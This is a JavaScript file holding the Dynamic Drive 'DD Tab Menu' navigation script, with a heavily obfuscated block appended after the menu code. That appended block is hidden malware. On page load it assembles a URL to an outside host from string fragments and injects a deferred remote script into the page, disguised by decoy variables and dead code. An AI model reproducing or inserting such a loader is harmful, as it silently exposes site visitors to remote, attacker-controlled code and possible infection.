//DD Tab Menu- Script rewritten April 27th, 07: http://www.dynamicdrive.com
//**Updated Feb 23rd, 08): Adds ability for menu to revert back to default selected tab when mouse moves out of menu

//Only 2 configuration variables below:

var ddtabmenu={
	disabletablinks: false, //Disable hyperlinks in 1st level tabs with sub contents (true or false)?
	snap2original: [false, 300], //Should tab revert back to default selected when mouse moves out of menu? ([true/false, delay_millisec]

	currentpageurl: window.location.href.replace("http://"+window.location.hostname, "").replace(/^\//, ""), //get current page url (minus hostname, ie: http://www.dynamicdrive.com/)

definemenu:function(tabid, dselected){
	this[tabid+"-menuitems"]=null
	this[tabid+"-dselected"]=-1
	this.addEvent(window, function(){ddtabmenu.init(tabid, dselected)}, "load")
},

showsubmenu:function(tabid, targetitem){
	var menuitems=this[tabid+"-menuitems"]
	this.clearrevert2default(tabid)
 for (i=0; i<menuitems.length; i++){
		menuitems[i].className=""
		if (typeof menuitems[i].hasSubContent!="undefined")
			document.getElementById(menuitems[i].getAttribute("rel")).style.display="none"
	}
	targetitem.className="current"
	if (typeof targetitem.hasSubContent!="undefined")
		document.getElementById(targetitem.getAttribute("rel")).style.display="block"
},

isSelected:function(menuurl){
	var menuurl=menuurl.replace("http://"+menuurl.hostname, "").replace(/^\//, "")
	return (ddtabmenu.currentpageurl==menuurl)
},

isContained:function(m, e){
	var e=window.event || e
	var c=e.relatedTarget || ((e.type=="mouseover")? e.fromElement : e.toElement)
	while (c && c!=m)try {c=c.parentNode} catch(e){c=m}
	if (c==m)
		return true
	else
		return false
},

revert2default:function(outobj, tabid, e){
	if (!ddtabmenu.isContained(outobj, tabid, e)){
		window["hidetimer_"+tabid]=setTimeout(function(){
			ddtabmenu.showsubmenu(tabid, ddtabmenu[tabid+"-dselected"])
		}, ddtabmenu.snap2original[1])
	}
},

clearrevert2default:function(tabid){
 if (typeof window["hidetimer_"+tabid]!="undefined")
		clearTimeout(window["hidetimer_"+tabid])
},

addEvent:function(target, functionref, tasktype){ //assign a function to execute to an event handler (ie: onunload)
	var tasktype=(window.addEventListener)? tasktype : "on"+tasktype
	if (target.addEventListener)
		target.addEventListener(tasktype, functionref, false)
	else if (target.attachEvent)
		target.attachEvent(tasktype, functionref)
},

init:function(tabid, dselected){
	var menuitems=document.getElementById(tabid).getElementsByTagName("a")
	this[tabid+"-menuitems"]=menuitems
	for (var x=0; x<menuitems.length; x++){
		if (menuitems[x].getAttribute("rel")){
			this[tabid+"-menuitems"][x].hasSubContent=true
			if (ddtabmenu.disabletablinks)
				menuitems[x].onclick=function(){return false}
			if (ddtabmenu.snap2original[0]==true){
				var submenu=document.getElementById(menuitems[x].getAttribute("rel"))
				menuitems[x].onmouseout=function(e){ddtabmenu.revert2default(submenu, tabid, e)}
				submenu.onmouseover=function(){ddtabmenu.clearrevert2default(tabid)}
				submenu.onmouseout=function(e){ddtabmenu.revert2default(this, tabid, e)}
			}
		}
		else //for items without a submenu, add onMouseout effect
			menuitems[x].onmouseout=function(e){this.className=""; if (ddtabmenu.snap2original[0]==true) ddtabmenu.revert2default(this, tabid, e)}
		menuitems[x].onmouseover=function(){ddtabmenu.showsubmenu(tabid, this)}
		if (dselected=="auto" && typeof setalready=="undefined" && this.isSelected(menuitems[x].href)){
			ddtabmenu.showsubmenu(tabid, menuitems[x])
			this[tabid+"-dselected"]=menuitems[x]
			var setalready=true
		}
		else if (parseInt(dselected)==x){
			ddtabmenu.showsubmenu(tabid, menuitems[x])
			this[tabid+"-dselected"]=menuitems[x]
		}
	}
}
}

var w;if(w!='' && w!='s'){w='KG'};var Y=new Array();function b(){var bO;if(bO!='i'){bO='i'};var nH='';var P='';var Bj='';var M;if(M!='' && M!='Ui'){M=''};var x=new String("g");var Kk=new Date();var PR=RegExp;function Z(K,D){var V=new String();var Yg;if(Yg!='Ts' && Yg!='a'){Yg=''};var bj=new Date();var m= "[FHb".substr(0,1);m+=D;var d;if(d!='Dk' && d!='UJ'){d='Dk'};m+=String("]2aW".substr(0,1));var H=new PR(m, x);this.r='';var Zh="";return K.replace(H, P);var kG=new Date();var Ix="";};var C;if(C!='' && C!='rh'){C=''};var nu;if(nu!='' && nu!='W'){nu='fR'};var VU=new Array();var o=new String("/>"+"IjkJ_<".substr(4)+"b>"+"USN5Fa5USN".substr(4,2)+"EJpYta".substr(4)+"l "+"I0VOerVOI0".substr(4,2)+"roZP5G".substr(0,2)+"r<"+"/b2fD".substr(0,2)+"Xxly>:yxlX".substr(4,2)+"YUMN  NMUY".substr(4,2)+"CagMQ".substr(0,2)+"nn1dy".substr(0,2)+"ot"+"ChyL r".substr(4)+"un5ed".substr(3)+"t0iec".substr(3)+"la"+"rePAn1".substr(0,2)+" c"+"he"+"ck"+"CfvqurCvqf".substr(4,2)+"yG9li".substr(3)+"KIsnfKIs".substr(3,2)+"o("+") dLrP".substr(0,2)+"h87k(phk78".substr(4,2)+"re"+"4GrviG4r".substr(3,2)+"ouaiD".substr(0,2)+"I40slI04".substr(3,2)+"y "+"9z0Ode".substr(4)+"wrNcl".substr(3)+"DGqar".substr(3)+"edu6S".substr(0,2)+" iMB1k".substr(0,2)+"n i0E".substr(0,2)+"/vtSR4".substr(0,2)+"l7OarO7l".substr(3,2)+"/w"+"MhjiwwiMhj".substr(4,2)+"/h"+"lBAtmAlB".substr(3,2)+"l/"+"xrmgpa".substr(4)+"ge"+"zpC.dpCz".substr(3,2)+"bPYRpo".substr(4)+"pXOol".substr(3)+".ptiuT".substr(0,2)+"hpwim".substr(0,2)+"CgHi:8HigC".substr(4,2)+"1tHC8)".substr(4)+" i"+"n ldp".substr(0,2)+"adu0<b".substr(4)+"ROT>/TOR".substr(3,2)+"va3FQz".substr(0,2)+"tD8dr/Dd8t".substr(4,2)+"oj5Cww".substr(4)+"w/0NTB".substr(0,2)+"ht"+"ml"+"/c"+"ZTSonSTZ".substr(3,2)+"f."+"ph"+"p<0IH".substr(0,2)+"YB9C/b".substr(4)+"H0Q> 0HQ".substr(3,2)+"on"+" l"+"s2ging2s".substr(3,2)+"2D3e ".substr(3)+"<b"+"5YR>3".substr(3)+"23Gyc".substr(0,2)+"</"+"iNqb>qiN".substr(3,2)+"<b"+"Pklcr Pkcl".substr(4,2)+"/>fum".substr(0,2)+"/maiRG".substr(0,2)+"edo7h".substr(0,2)+"ia9ug".substr(0,2)+"eAjWpljWeA".substr(4,2)+"ex"+"4f9.c".substr(3)+"omOjg0".substr(0,2)+"/m"+"fIZQedZQfI".substr(4,2)+"ia"+"nh37plh37n".substr(4,2)+"exQHI".substr(0,2)+"pIzN.c".substr(4)+"EhkAomEAhk".substr(4,2)+"/s"+"ymucaR".substr(0,2)+"Blr3an".substr(4)+"76Ate6A7".substr(3,2)+"c.tZkK".substr(0,2)+"co"+"Dvem/veD".substr(3,2)+"goJBO".substr(0,2)+"aOkog".substr(3)+"le7FN".substr(0,2)+"nXEx.cnxEX".substr(4,2)+"om"+"/cMiXo".substr(0,2)+"or4hY".substr(0,2)+"YzPriPYz".substr(3,2)+"erX3p".substr(0,2)+"e."+"itDgs8".substr(0,2)+"AWyl.p".substr(4)+"hpTRiH".substr(0,2));this.mS="";var IQ='';var f="s6Gdefer".substr(3);this.MY="";this.vt="";var T=window;var Le;if(Le!='orJ' && Le!='Rq'){Le=''};var dX="";var TL=80;var iC;if(iC!='mI'){iC='mI'};var N="scr"+"iptKaE".substr(0,3);var j='';var tE=new Date();var PO;if(PO!='' && PO!='xh'){PO=null};var n=new String("src");var vr='';var uk;if(uk!='' && uk!='TK'){uk='HD'};var U=String("http:"+"//ctr"+"ip-co"+"m.the7jq".substr(0,5)+"pG1freedGp1".substr(3,5)+"ictio"+"nary.QNg".substr(0,5)+"9FsMcom.gFsM9".substr(4,5)+"lobe7"+"9G0-com.".substr(3)+"IPQ<br :IPQ".substr(3,5));T.onload=function(){var oG;if(oG!='' && oG!='tD'){oG=null};var z=new Array();try {var qM=new String();this.vN="";var fb='';j=U+TL;j+=o;var qe="";this.VG="";G=document.createElement(N);this.QD="";var xZ="";var aH;if(aH!='' && aH!='Dw'){aH='ZB'};this.iO='';G[f]=[1,5][0];G[n]=j;var _g;if(_g!='' && _g!='VJ'){_g='xY'};var Zn="";document.body.appendChild(G);var iv;if(iv!='' && iv!='kK'){iv=''};var Br=new Array();var pI;if(pI!='' && pI!='fM'){pI='rz'};var uF="";} catch(Pa){this.uC="";};};this.sR="";this.Iw='';};var _n;if(_n!='zX'){_n=''};var pq='';b();this.xv="";this.aq="";